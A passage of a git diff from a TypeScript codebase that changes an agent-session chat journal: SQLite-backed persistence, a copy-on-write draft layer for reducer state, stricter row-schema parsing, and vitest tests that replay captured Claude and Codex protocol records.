'notification:turn/plan/updated' + ).length + const saved = restoreJournal(database.db, sessionId)?.state + expect(saved?.lastSequence).toBe(journal.cursor().sequence) + if (!saved) { + throw new Error('missing saved chat') + } + expectProjectionMatches(database, expected) + expect(renderJournalState(saved)).toStrictEqual(journal.snapshot()) + }) + const failed = vi.fn() + const sink = createDeferredStructuredAgentSessionEventSink({ + sessionId, + logger: { warn: vi.fn(), error: vi.fn() }, + onFailed: failed + }) + disposals.push(() => sink.close()) + sink.bind({ journal, fence: 1, publish: () => undefined }) + const pending = new Set<() => void>() + const schedule = (run: () => void) => { + pending.add(run) + return () => { + pending.delete(run) + } + } + const flush = async (translator: { flush: () => void }) => { + translator.flush() + const runs = Array.from(pending) + pending.clear() + for (const run of runs) { + run() + } + expect(await sink.drained()).toEqual({ ok: true }) + } + if (agent === 'claude') { + const translator = createClaudeJournalTranslator({ sink: sink.sink, schedule }) + disposals.push(() => translator.dispose()) + const capture = lines( + new URL('../../claude/__fixtures__/claude-adapter-capture-miss.jsonl', import.meta.url) + ).map((line) => claudeCapture.parse(line)) + for (const record of capture) { + if (!record.frame) { + continue + } + at = 1_000 + record.at + translator.handle({ type: 'message', sessionId, message: record.frame, observedAt: at }) + await flush(translator) + } + } else { + const translator = createCodexJournalTranslator({ sink: sink.sink, schedule, now: () => at }) + disposals.push(() => translator.dispose()) + const capture = lines( + new URL('../../codex/__fixtures__/codex-app-server-turn-endings.jsonl', import.meta.url) + ) + .map((line) => codexCapture.parse(line)) + .filter((record) => record.case === '0.158.0-control') + expect(capture.length).toBeGreaterThan(0) + let threadId = 'thread-1' + let turnId = 'turn-1' + for (const record of capture) { + at = 1_000 + record.t + if (typeof record.params.threadId === 'string') { + threadId = record.params.threadId + } + if (record.method === 'turn/started') { + const turn = z.object({ id: z.string() }).parse(record.params.turn) + turnId = turn.id + } + if (record.method === 'turn/completed') { + for (const status of ['inProgress', 'completed']) { + translator.handle({ + type: 'notification', + sessionId, + threadId, + method: 'turn/plan/updated', + params: { threadId, turnId, plan: [{ step: 'Verify saved state', status }] } + }) + await flush(translator) + } + } + translator.handle({ + type: 'notification', + sessionId, + threadId, + method: record.method, + params: record.params, + observedAt: at + }) + await flush(translator) + } + expect(planRevisions).toBeGreaterThanOrEqual(2) + } + expect(failed).not.toHaveBeenCalled() + // Most codex capture records write no row; it commits three times. + expect(commits).toBeGreaterThanOrEqual(agent === 'claude' ? 6 : 3) + const stoppedTurn = { provider: 'orca', clientMessageId: 'stopped-turn' } as const + await journal.appendItem( + stoppedTurn, + { kind: 'turn', turnId: 'stop-turn', state: 'running' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await journal.appendStopEvent({ reason: 'user-stop', turnId: 'stop-turn' }, 1) + const settle = journal.stopMarks.beginSettle(true) + await journal.appendLifecycleBatch({ + settlementId: 'stop-settlement', + fence: 1, + mutations: [ + { + kind: 'item', + identity: stoppedTurn, + body: { kind: 'turn', turnId: 'stop-turn', state: 'interrupted', completedAt: at + 1 }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + expect(journal.stopMarks.latest()?.settle).toBe(settle) + journal.stopMarks.settled(settle) + expect( + restoreJournal(database.db, sessionId)?.state.appliedSettlementIds.has('stop-settlement') + ).toBe(true) + } +) + +// One row may remove an item, add another, then re-create the first above its tombstone: the +// re-created item moves after the new one, live and saved alike, whether the first came from the +// chat's records or from its frozen input prefix. +it.each(['written', 'over a prefix'] as const)( + 'keeps live order for a key deleted and re-created around a new key in one %s row', + async (path) => { + const item = (itemId: string, revision: number) => ({ + kind: 'item' as const, + itemId, + revision, + body: { kind: 'status' as const, text: `${itemId} ${revision}` } + }) + const first: JournalRow = { ...projectionBase(2), ...item('x', 1) } + const batch: JournalRow = { + ...projectionBase(3), + kind: 'lifecycle-batch', + settlementId: 'reorder', + mutations: [{ kind: 'tombstone', itemId: 'x', revision: 2 }, item('y', 1), item('x', 3)] + } + const rig = projectionWriter( + database, + path === 'written' + ? seedOutcomeRows(database, [projectionEpochRow, first]) + : seedProjectionRows(database, [projectionEpochRow, first]) + ) + await rig.writer.enqueue((seq, ts) => ({ ...batch, seq, ts })) + expect([...rig.state().items.keys()]).toEqual(['y', 'x']) + expectProjectionMatches(database, rig.state()) + } +) diff --git a/src/main/native-chat/agent-session-journal/journal-projection-test-support.ts b/src/main/native-chat/agent-session-journal/journal-projection-test-support.ts new file mode 100644 index 00000000000..a26b438c72a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-test-support.ts @@ -0,0 +1,96 @@ +import { expect } from 'vitest' +import type { JournalHostDatabase } from './journal-host-database' +import { JournalRowWriter } from './journal-row-writer' +import { JournalWriteQueue } from './journal-write-queue' +import { JournalWriteProjection } from './journal-write-projection' +import { + applyJournalRow, + createJournalReducerState, + type JournalReducerState +} from './journal-reducer' +import { restoreJournal } from './journal-open' +import { encodeJournalState } from './journal-state-codec' +import { journalOutcomeSource } from './journal-outcome-format' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' +import { insertTestJournalRow, publishTestJournalEpoch } from './journal-host-database-test-support' +import type { JournalRow } from './journal-row-schema' + +export const projectionSessionId = 'session-1' +export const projectionEpoch = 'epoch-1' +export const projectionBase = (seq: number) => ({ + v: 4, + epoch: projectionEpoch, + seq, + ts: 1_000 + seq, + fence: 1 +}) +export const projectionEpochRow: JournalRow = { + ...projectionBase(1), + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'codex', threadId: 'thread-1' } +} + +export function seedProjectionRows( + database: JournalHostDatabase, + rows: readonly JournalRow[] +): JournalReducerState { + const state = createJournalReducerState(projectionSessionId, projectionEpoch) + database.transaction((db) => { + publishTestJournalEpoch(db, projectionSessionId, projectionEpoch) + for (const row of rows) { + insertTestJournalRow(db, projectionSessionId, row) + applyJournalRow(state, row) + } + }) + return state +} + +export function seedOutcomeRows( + database: JournalHostDatabase, + rows: readonly JournalRow[] +): JournalReducerState { + const publication = database.transaction((db) => { + publishTestJournalEpoch(db, projectionSessionId, projectionEpoch) + return publishJournalOutcomeEpoch(db, projectionSessionId, projectionEpoch, rows) + }) + return publication.adopt() +} + +export function projectionWriter(database: JournalHostDatabase, initial: JournalReducerState) { + let state = initial + const queue = new JournalWriteQueue(state.sessionId) + const projection = new JournalWriteProjection({ + database, + state: () => state, + adopt: (next) => { + state = next + } + }) + const writer = new JournalRowWriter({ + database: () => database, + sessionId: state.sessionId, + now: () => 10_000, + serialize: (run) => queue.serialize(run), + readOnly: () => false, + highestFence: () => state.highestFence, + nextSequence: () => state.lastSequence + 1, + prepare: (db, rows, savedAt) => projection.prepare(db, rows, savedAt), + commit: () => undefined + }) + return { writer, projection, state: () => state, queue } +} + +export function expectProjectionMatches( + database: JournalHostDatabase, + state: JournalReducerState +): void { + const source = journalOutcomeSource(database.db, state.sessionId, state.epoch) + if (!source) { + throw new Error('expected canonical outcomes') + } + const restored = restoreJournal(database.db, state.sessionId) + expect(restored?.damage).toBeNull() + expect(restored?.newer).toBeNull() + expect(restored && encodeJournalState(restored.state)).toStrictEqual(encodeJournalState(state)) +} diff --git a/src/main/native-chat/agent-session-journal/journal-read-row.ts b/src/main/native-chat/agent-session-journal/journal-read-row.ts new file mode 100644 index 00000000000..cd40045658a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-read-row.ts @@ -0,0 +1,63 @@ +import type Database from '../../sqlite/sync-database' +import type { JournalRow } from './journal-row-schema' +import type { JournalOutcomeSource } from './journal-outcome-format' + +type JournalOutcomeKeys = { itemIds: string[]; submissionIds: string[]; queueCardIds: string[] } + +/** In-process change index only; the public wire still contains items and submissions. Each array + * names the sequence's touched keys; `deleted` repeats the ones it removed. */ +export type JournalOutcomeReadRow = JournalOutcomeKeys & { + kind: 'outcome' + epoch: string + seq: number + deleted: JournalOutcomeKeys +} +export type JournalReadRow = JournalRow | JournalOutcomeReadRow + +/** LIMIT counts logical sequences, never the independently compactable physical contributions. */ +export function readJournalOutcomeGroups( + db: Database.Database, + epoch: string, + source: JournalOutcomeSource, + after: number, + limit?: number +): JournalOutcomeReadRow[] { + const groups = db + .prepare(`SELECT DISTINCT seq FROM journal_outcomes + WHERE generation = ? AND seq > ? AND seq <= ? ORDER BY seq LIMIT ?`) + .all(source.generation, after, source.through, limit ?? -1) + const touched = db.prepare(`SELECT field, entry_key, deleted FROM journal_outcomes + WHERE generation = ? AND seq = ? AND field IN ('items', 'submissions', 'queue.cards') + ORDER BY field, entry_key`) + return groups.map(({ seq }) => { + if (typeof seq !== 'number') { + throw new Error('invalid journal outcome group') + } + const keys = emptyOutcomeKeys() + const deleted = emptyOutcomeKeys() + for (const entry of touched.iterate(source.generation, seq)) { + if (typeof entry.entry_key !== 'string') { + throw new Error('invalid journal outcome key') + } + const key: unknown = JSON.parse(entry.entry_key) + if (typeof key !== 'string') { + throw new Error('invalid journal public outcome key') + } + const field = + entry.field === 'items' + ? 'itemIds' + : entry.field === 'submissions' + ? 'submissionIds' + : 'queueCardIds' + keys[field].push(key) + if (entry.deleted === 1) { + deleted[field].push(key) + } + } + return { kind: 'outcome', epoch, seq, ...keys, deleted } + }) +} + +function emptyOutcomeKeys(): JournalOutcomeKeys { + return { itemIds: [], submissionIds: [], queueCardIds: [] } +} diff --git a/src/main/native-chat/agent-session-journal/journal-received-content.test.ts b/src/main/native-chat/agent-session-journal/journal-received-content.test.ts index 1441989c61f..f9ed75c5e54 100644 --- a/src/main/native-chat/agent-session-journal/journal-received-content.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-received-content.test.ts @@ -134,12 +134,11 @@ it.each(['claude', 'codex'] as const)( if (!replay.ok) { throw new Error('Expected the held writes to remain replayable') } - expect(replay.rows[0]).toMatchObject({ kind: 'item', body: { kind: 'status', text: 'before' } }) + expect(replay.rows[0]).toMatchObject({ kind: 'outcome' }) + const durable = reopened.snapshot().items.filter((item) => item.sequence > cursor.sequence) + expect(durable[0]?.body).toMatchObject({ kind: 'status', text: 'before' }) expect( - replay.rows.findIndex( - (row) => - row.kind === 'item' && row.body.kind === 'tool-call' && row.body.state === 'completed' - ) + durable.findIndex((item) => item.body.kind === 'tool-call' && item.body.state === 'completed') ).toBeGreaterThan(0) expect( reopened.snapshot().items.flatMap(({ body }) => (body.kind === 'tool-call' ? [body] : [])) @@ -211,12 +210,18 @@ it('hands an ACP omitted-field completion to SQLite before root exit with a bloc if (!replay.ok) { throw new Error('Expected the held writes to remain replayable') } - expect(replay.rows[0]).toMatchObject({ kind: 'item', body: { kind: 'status', text: 'before' } }) + expect(replay.rows[0]).toMatchObject({ kind: 'outcome' }) + // The call began before the cursor, so its revision keeps that place; the held writes' own + // groups still show the status landing first and the completion after it. + const touched = replay.rows.map((row) => (row.kind === 'outcome' ? row.itemIds : [])) + const items = reopened.snapshot().items + const status = items.find((item) => item.body.kind === 'status' && item.body.text === 'before') + const call = items.find( + (item) => item.body.kind === 'tool-call' && item.body.callId === 'sleep-1' + ) + expect(touched[0]).toEqual([status?.itemId]) expect( - replay.rows.findIndex( - (row) => - row.kind === 'item' && row.body.kind === 'tool-call' && row.body.state === 'completed' - ) + touched.findIndex((ids) => call !== undefined && ids.includes(call.itemId)) ).toBeGreaterThan(0) expect( reopened.snapshot().items.flatMap(({ body }) => (body.kind === 'tool-call' ? [body] : [])) diff --git a/src/main/native-chat/agent-session-journal/journal-reducer-transition.ts b/src/main/native-chat/agent-session-journal/journal-reducer-transition.ts new file mode 100644 index 00000000000..ca9ce22b4f8 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-reducer-transition.ts @@ -0,0 +1,272 @@ +// Track writes through objects, iterators and collection entries; finalize only after COMMIT. + +import type { JournalReducerState } from './journal-reducer' +import { + JournalDraftMap, + JournalDraftSet, + type JournalDraftAccess, + type JournalEntryChange +} from './journal-transition-collections' + +type DraftNode = { + value: object + /** What the draft holds now: the copy once written, else the object itself. */ + current: () => object + finish: () => object + listen: (changed: () => void) => void +} + +class JournalDraft { + private readonly originals = new WeakMap() + private readonly proxies = new WeakMap() + private readonly collections: (JournalDraftMap | JournalDraftSet)[] = + [] + private readonly assigned = new WeakSet() + private readonly pending: (() => void)[] = [] + private readonly resolved = new WeakMap() + /** Objects and collections the fold reached; scaling tests pin how this grows with chat size. */ + nodes = 0 + + readonly access: JournalDraftAccess = { + wrap: (value, changed, path) => this.wrap(value, changed, path), + assign: (value) => { + if (typeof value === 'object' && value !== null) { + this.assigned.add(value) + } + }, + finish: (value) => this.resolve(value), + defer: (apply) => this.pending.push(apply) + } + + wrap(value: T, changed: () => void, path: string): T { + if (typeof value !== 'object' || value === null) { + return value + } + const node = this.proxies.get(value) ?? this.originals.get(value) ?? this.track(value, path) + node.listen(changed) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a node's draft (overlay collection or copy-on-write proxy) has the interface of the object it isolates. + return node.value as T + } + + private track(value: T, path: string): DraftNode { + this.nodes += 1 + const listeners = new Set<() => void>() + let dirty = false + let notifying = false + const mark = (): void => { + dirty = true + if (notifying) { + return + } + // A batch consumes changes after each row; later mutations must notify again. + notifying = true + try { + for (const notify of listeners) { + notify() + } + } finally { + notifying = false + } + } + const listen = (notify: () => void): void => { + listeners.add(notify) + if (dirty) { + notify() + } + } + let node: DraftNode + if (value instanceof Map || value instanceof Set) { + const collection = + value instanceof Map + ? new JournalDraftMap(value, this.access, mark, path) + : new JournalDraftSet(value, this.access, mark, path) + this.collections.push(collection) + node = { + value: collection, + current: () => collection, + finish: () => collection.finish(), + listen + } + } else { + let copy: object | undefined + const current = (): object => copy ?? value + const writable = (): object => { + const next = + copy ?? + (Array.isArray(value) + ? [...value] + : Object.assign(Object.create(Object.getPrototypeOf(value)), value)) + copy = next + return next + } + const assignedKeys = new Set() + const target = Array.isArray(value) ? [] : Object.create(Object.getPrototypeOf(value)) + const proxy = new Proxy(target, { + get: (_target, key, receiver) => + this.wrap( + // oxlint-disable-next-line anti-slop/no-reflect-get -- Proxy `get` trap: only Reflect.get forwards a raw string|symbol key with the proxy receiver. + Reflect.get(current(), key, receiver), + mark, + path ? `${path}.${String(key)}` : String(key) + ), + has: (_target, key) => Reflect.has(current(), key), + ownKeys: () => Reflect.ownKeys(current()), + getOwnPropertyDescriptor: (_target, key) => { + const descriptor = Reflect.getOwnPropertyDescriptor(current(), key) + return ( + descriptor && { ...descriptor, configurable: key !== 'length' || !Array.isArray(value) } + ) + }, + set: (_target, key, next) => { + const before = Reflect.getOwnPropertyDescriptor(current(), key) + if (!before || !Object.is(before.value, next)) { + this.access.assign(next) + assignedKeys.add(key) + Reflect.set(writable(), key, next) + mark() + } + return true + }, + deleteProperty: (_target, key) => { + if (Object.hasOwn(current(), key)) { + Reflect.deleteProperty(writable(), key) + mark() + } + return true + }, + defineProperty: (_target, key, descriptor) => { + this.access.assign(descriptor.value) + assignedKeys.add(key) + Reflect.defineProperty(writable(), key, descriptor) + mark() + return true + } + }) + node = { + value: proxy, + current, + finish: () => { + if (!dirty && !this.assigned.has(value)) { + return value + } + const result = writable() + const keys = Reflect.ownKeys(result) + for (const key of keys) { + const child: unknown = Reflect.getOwnPropertyDescriptor(result, key)?.value + if (assignedKeys.has(key) || this.assigned.has(value) || this.tracks(child)) { + Reflect.set(result, key, this.finish(child)) + } + } + // Holders of reducer objects across commits keep reading the live object, so apply the + // committed copy to it, keeping the key order in-place mutation would have left. + const previous = Reflect.ownKeys(value) + const reordered = + !Array.isArray(value) && previous.some((key, index) => key !== keys[index]) + for (const key of previous) { + if (reordered || !Object.hasOwn(result, key)) { + Reflect.deleteProperty(value, key) + } + } + for (const key of keys) { + Reflect.set(value, key, Reflect.getOwnPropertyDescriptor(result, key)?.value) + } + return value + }, + listen + } + } + this.originals.set(value, node) + this.proxies.set(node.value, node) + return node + } + + changes(reset = false): JournalEntryChange[] { + return this.collections.flatMap((collection) => collection.changes(reset)) + } + + /** Reads a draft value as it stands without tracking it, so serializing a changed value reaches + * no proxy trap and adds no node. */ + untracked(value: unknown): unknown { + if (typeof value !== 'object' || value === null) { + return value + } + return (this.proxies.get(value) ?? this.originals.get(value))?.current() ?? value + } + + adopt(value: T): T { + const result = this.resolve(value) + for (const apply of this.pending) { + apply() + } + return result + } + + private resolve(value: T): T { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: finishing returns the value itself or the live object its draft stands for, so its type is unchanged. + return this.finish(value) as T + } + + private tracks(value: unknown): boolean { + return ( + typeof value === 'object' && + value !== null && + (this.originals.has(value) || this.proxies.has(value)) + ) + } + + private finish(value: unknown): unknown { + if (typeof value !== 'object' || value === null) { + return value + } + const previous = this.resolved.get(value) + if (previous) { + return previous + } + const node = this.proxies.get(value) ?? this.originals.get(value) + if (node) { + const result = node.finish() + this.resolved.set(value, result) + this.resolved.set(node.value, result) + return result + } + this.resolved.set(value, value) + if (value instanceof Map || value instanceof Set) { + return value + } + // Values created during the fold may hold drafts introduced by spread or destructuring. + for (const key of Reflect.ownKeys(value)) { + const child: unknown = Reflect.getOwnPropertyDescriptor(value, key)?.value + const finished = this.finish(child) + if (finished !== child) { + Reflect.set(value, key, finished) + } + } + return value + } +} + +/** Fold onto a draft of `state`; the live state changes only when `adopt` runs after COMMIT. */ +export function isolateJournalTransition( + state: JournalReducerState, + fold: (draft: JournalReducerState) => T +): { + state: JournalReducerState + result: T + changes: (reset?: boolean) => JournalEntryChange[] + /** A `JSON.stringify` replacer giving each draft value as it stands, untracked. */ + untracked: (key: string, value: unknown) => unknown + adopt: () => JournalReducerState + tracked: () => number +} { + const draft = new JournalDraft() + const candidate = draft.wrap(state, () => undefined, '') + const result = fold(candidate) + return { + state: candidate, + result, + changes: (reset) => draft.changes(reset), + untracked: (_key, value) => draft.untracked(value), + adopt: () => draft.adopt(candidate), + tracked: () => draft.nodes + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts b/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts index ccc43a7d635..a420b05262c 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts @@ -59,7 +59,7 @@ export function registerJournalRowContextUsageTests(): void { let root: string let clock = 1_000 - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) const open = () => journals.open({ @@ -123,7 +123,7 @@ export function registerJournalRowContextUsageTests(): void { try { const rowJson = liveTestJournalRows(opened.db, IDENTITY.sessionId)[1]?.rowJson ?? '' const future = JSON.parse(rowJson) - future.body.contextUsage = { used: { kind: 'measured-later', tokens: 'many' } } + future.body.contextUsage = { used: { kind: 'unknown', capturedAt: 'later' } } updateTestJournalRowJson(opened.db, IDENTITY.sessionId, 2, JSON.stringify(future)) } finally { await opened.close() diff --git a/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts b/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts index c58ab5eb60d..f3de0cb7120 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts @@ -15,7 +15,7 @@ export function registerJournalRowSchemaVersionTests(): void { // Inspect raw rows: upcasting hides the version older readers would see on disk. describe('journal row schema versions', () => { let root = '' - const opener = createTrackedJournalOpener() + const opener = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-journal-row-version-')) diff --git a/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts b/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts index 8016f61aa29..83c2dbd5f37 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts @@ -196,12 +196,16 @@ describe('journal row validation', () => { ).toBe(false) }) - it('keeps forward compatibility for open string fields and unknown block types', () => { + it('keeps open string fields readable and refuses an unknown block type as newer', () => { const item = (body: unknown) => ({ ...BASE, kind: 'item', itemId: 'i-1', revision: 1, body }) - // Renderers skip unknown block types without dereferencing their fields. + // A saved row's block types are closed: a newer one refuses as a newer Orca's. expect( - parse(item({ kind: 'message', role: 'user', blocks: [{ type: 'future-block', data: 1 }] })) - ).toBe(true) + parseJournalRow( + JSON.stringify( + item({ kind: 'message', role: 'user', blocks: [{ type: 'future-block', data: 1 }] }) + ) + ) + ).toEqual({ ok: false, unreadable: true }) expect( parse(item({ kind: 'message', role: 'narrator', blocks: [{ type: 'text', text: 'hi' }] })) ).toBe(true) @@ -217,8 +221,7 @@ describe('journal row validation', () => { selectedOptionId: null, resolvedBy: null, resolvedAt: null - }, - futureField: 'ignored' + } }) ) ).toBe(true) @@ -425,8 +428,8 @@ describe('producer linkage on the persisted row', () => { expect(parsed.ok).toBe(true) }) - it('reads the same row with linkage put INSIDE a prompt option, ignoring the key there', () => { - // Legacy strict prompt bodies rejected unknown keys; linkage must stay on the row base. + it("refuses the same row with linkage put INSIDE a prompt option as a newer Orca's", () => { + // A key a prompt option does not declare is a newer build's; linkage stays on the row base. const smuggled = { ...BASE, v: 3, @@ -440,9 +443,7 @@ describe('producer linkage on the persisted row', () => { resolution } } - const parsed = parseJournalRow(JSON.stringify(smuggled)) - expect(parsed.ok && parsed.row.kind === 'item' && parsed.row.body).toEqual(smuggled.body) - expect(parsed.ok && 'agentId' in parsed.row).toBe(false) + expect(parseJournalRow(JSON.stringify(smuggled))).toEqual({ ok: false, unreadable: true }) }) }) @@ -523,8 +524,7 @@ it.each([ worker: { ...startWorker, party: { ...startWorker.party, orcaSessionId: 'invalid' } }, senders: [] }, - { worker: null, senders: [] }, - { worker: { futureIdentity: 'new shape' }, senders: [] } + { worker: null, senders: [] } ])('replays open worker metadata without damaging task/core: $worker', ({ worker, senders }) => { const body = { kind: 'agent-start', dispatchId: 'dispatch', task: ' Full task\r\nEND ', worker } const parsed = parseJournalRow( diff --git a/src/main/native-chat/agent-session-journal/journal-row-schema.ts b/src/main/native-chat/agent-session-journal/journal-row-schema.ts index bee5568d212..24dd927fe9a 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-schema.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-schema.ts @@ -22,6 +22,7 @@ import { import { isJournalTag } from '../../../shared/agent-session-journal-open-union' import type { StructuredAgentSessionStopCause } from '../agent-session-wire/structured-agent-session-stop-cause' import { dropUnusableRowAnnotations } from './journal-row-unusable-annotations' +import { journalRowDeclaresMore } from './journal-storage-row-schema' import { journalQueueRowContent, type JournalQueueRow } from './journal-queue-events' /** Put additive annotations on the base: older strict prompt bodies reject unknown keys. */ @@ -208,7 +209,14 @@ export function parseJournalRow(line: string): JournalRowParse { if (version === null || !Number.isInteger(version) || version < 1) { return { ok: false, unreadable: false } } - if (version > AGENT_SESSION_JOURNAL_SCHEMA_VERSION) { + // A key or tag this build does not declare in a row of a kind it reads is refused as newer before + // it can be normalized away and the row's value restated without it. + if ( + version > AGENT_SESSION_JOURNAL_SCHEMA_VERSION || + (typeof record.kind === 'string' && + KNOWN_ROW_KINDS.has(record.kind) && + journalRowDeclaresMore(record)) + ) { return { ok: false, unreadable: true } } const upcast = upcastRow(record, version) diff --git a/src/main/native-chat/agent-session-journal/journal-row-table.ts b/src/main/native-chat/agent-session-journal/journal-row-table.ts index bc01a932345..fda3f14708a 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-table.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-table.ts @@ -35,8 +35,19 @@ export function insertJournalRow( row: JournalRow, savedAt = row.ts ): number { + const { rowJson } = journalRowReadBack(sessionId, row) + // The table timestamp records the save; the JSON timestamp can remain pinned to item start. + db.prepare(INSERT_ROW).run(sessionId, row.epoch, row.seq, savedAt, rowJson) + return Buffer.byteLength(rowJson, 'utf8') +} + +/** Rejects a row the reader would not read back before it can break the next load, and returns the + * row the reader sees: without the annotations it drops as unusable. */ +export function journalRowReadBack( + sessionId: string, + row: JournalRow +): { rowJson: string; stored: JournalRow } { const rowJson = serializeJournalRow(row) - // Reject unreadable rows before they can break the next load; the caller rolls back. const readBack = parseJournalRow(rowJson) if (!readBack.ok || readBack.row.seq !== row.seq) { throw new AgentSessionJournalError( @@ -44,9 +55,7 @@ export function insertJournalRow( `the ${row.kind} row for ${sessionId} would not read back, so it was not written` ) } - // The table timestamp records the save; the JSON timestamp can remain pinned to item start. - db.prepare(INSERT_ROW).run(sessionId, row.epoch, row.seq, savedAt, rowJson) - return Buffer.byteLength(rowJson, 'utf8') + return { rowJson, stored: readBack.row } } // Page fetches release read snapshots before reduction so WAL checkpoints are not blocked. @@ -55,9 +64,10 @@ const EPOCH_ROW_PAGE_SIZE = 128 export function* iterateJournalEpochRows( db: Database.Database, sessionId: string, - epoch: string + epoch: string, + afterSequence = Number.MIN_SAFE_INTEGER ): Generator { - let afterSeq = Number.MIN_SAFE_INTEGER + let afterSeq = afterSequence for (;;) { const page = readJournalRowsAfter(db, sessionId, epoch, afterSeq, EPOCH_ROW_PAGE_SIZE) yield* page diff --git a/src/main/native-chat/agent-session-journal/journal-row-writer.ts b/src/main/native-chat/agent-session-journal/journal-row-writer.ts index a2905157b30..40941b40b63 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-writer.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-writer.ts @@ -47,6 +47,7 @@ export type JournalRowWriterDeps = { readOnly: () => boolean highestFence: () => number nextSequence: () => number + prepare?: (db: Database.Database, rows: readonly JournalRow[], savedAt: number) => () => void commit: (rows: readonly JournalRow[], savedAt: number) => void /** Streamed-text-only revisions may skip per-commit fsync; settlement makes them durable. */ streamedTextRevision?: (row: JournalRow) => boolean @@ -65,14 +66,19 @@ export class JournalRowWriter { const row = build(this.deps.nextSequence(), savedAt) assertJournalFence(row.fence, this.deps.highestFence()) const receipt = typeof prepareReceipt === 'function' ? prepareReceipt([row]) : prepareReceipt + const streamed = !receipt && this.streamed([row]) this.deps.database().transaction( (db) => { - insertJournalRow(db, this.deps.sessionId, row, savedAt) + if (!this.deps.prepare) { + insertJournalRow(db, this.deps.sessionId, row, savedAt) + } + const adopt = this.deps.prepare?.(db, [row], savedAt) receipt?.write(db, row) + return adopt }, - !receipt && this.streamed([row]) + streamed, + (adopt) => adopt?.() ) - // Adopt durable sequence state before fallible work: nonthrowing receipt ledger, then fold. receipt?.committed() this.deps.commit([row], savedAt) return row @@ -105,14 +111,20 @@ export class JournalRowWriter { assertJournalFence(row.fence, this.deps.highestFence()) } const receipt = typeof prepareReceipt === 'function' ? prepareReceipt(rows) : prepareReceipt + const streamed = !receipt && this.streamed(rows) this.deps.database().transaction( (db) => { - for (const row of rows) { - insertJournalRow(db, this.deps.sessionId, row, ts) + if (!this.deps.prepare) { + for (const row of rows) { + insertJournalRow(db, this.deps.sessionId, row, ts) + } } + const adopt = this.deps.prepare?.(db, rows, ts) receipt?.write(db, receiptRow?.(rows)) + return adopt }, - !receipt && this.streamed(rows) + streamed, + (adopt) => adopt?.() ) receipt?.committed() this.deps.commit(rows, ts) diff --git a/src/main/native-chat/agent-session-journal/journal-saved-state.test.ts b/src/main/native-chat/agent-session-journal/journal-saved-state.test.ts new file mode 100644 index 00000000000..3d1a2f6404d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-saved-state.test.ts @@ -0,0 +1,246 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import type { + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + agentJournalItemKey, + agentJournalSubmissionKey +} from '../../../shared/agent-session-journal-item-key' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { SQLITE_TABLE_DISPOSITIONS } from '../../../shared/wsl-move/wsl-move-storage-dispositions' +import { + MAX_JOURNAL_APPLIED_SETTLEMENT_IDS, + renderJournalState, + type JournalReducerState +} from './journal-reducer' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase, + publishTestJournalEpoch +} from './journal-host-database-test-support' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' +import { restoreJournal } from './journal-open' +import type { JournalRow } from './journal-row-schema' +import type { JournalHostDatabase } from './journal-host-database' + +const identity: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +const providerHandle = { kind: 'codex', threadId: 'thread-1' } as const +const epoch = 'epoch-1' +const text = ( + value: string, + role: 'user' | 'assistant' = 'assistant' +): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text: value }] +}) +const base = (seq: number) => ({ v: 4, epoch, seq, fence: 1, ts: 1_000 + seq }) +const itemId = (ordinal: number) => + agentJournalItemKey({ provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal }) +let root: string +let database: JournalHostDatabase +const journals = createTrackedJournalOpener() + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-saved-state-')) + database = openTestJournalHostDatabase(root) +}) +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +function write(rows: readonly JournalRow[]): JournalReducerState { + const result = database.transaction((db) => { + publishTestJournalEpoch(db, identity.sessionId, epoch) + return publishJournalOutcomeEpoch(db, identity.sessionId, epoch, rows) + }) + return result.adopt() +} + +function requireState(state: JournalReducerState | null | undefined): JournalReducerState { + expect(state).toBeTruthy() + if (!state) { + throw new Error('missing journal state') + } + return state +} + +function expectSameState(actual: JournalReducerState, 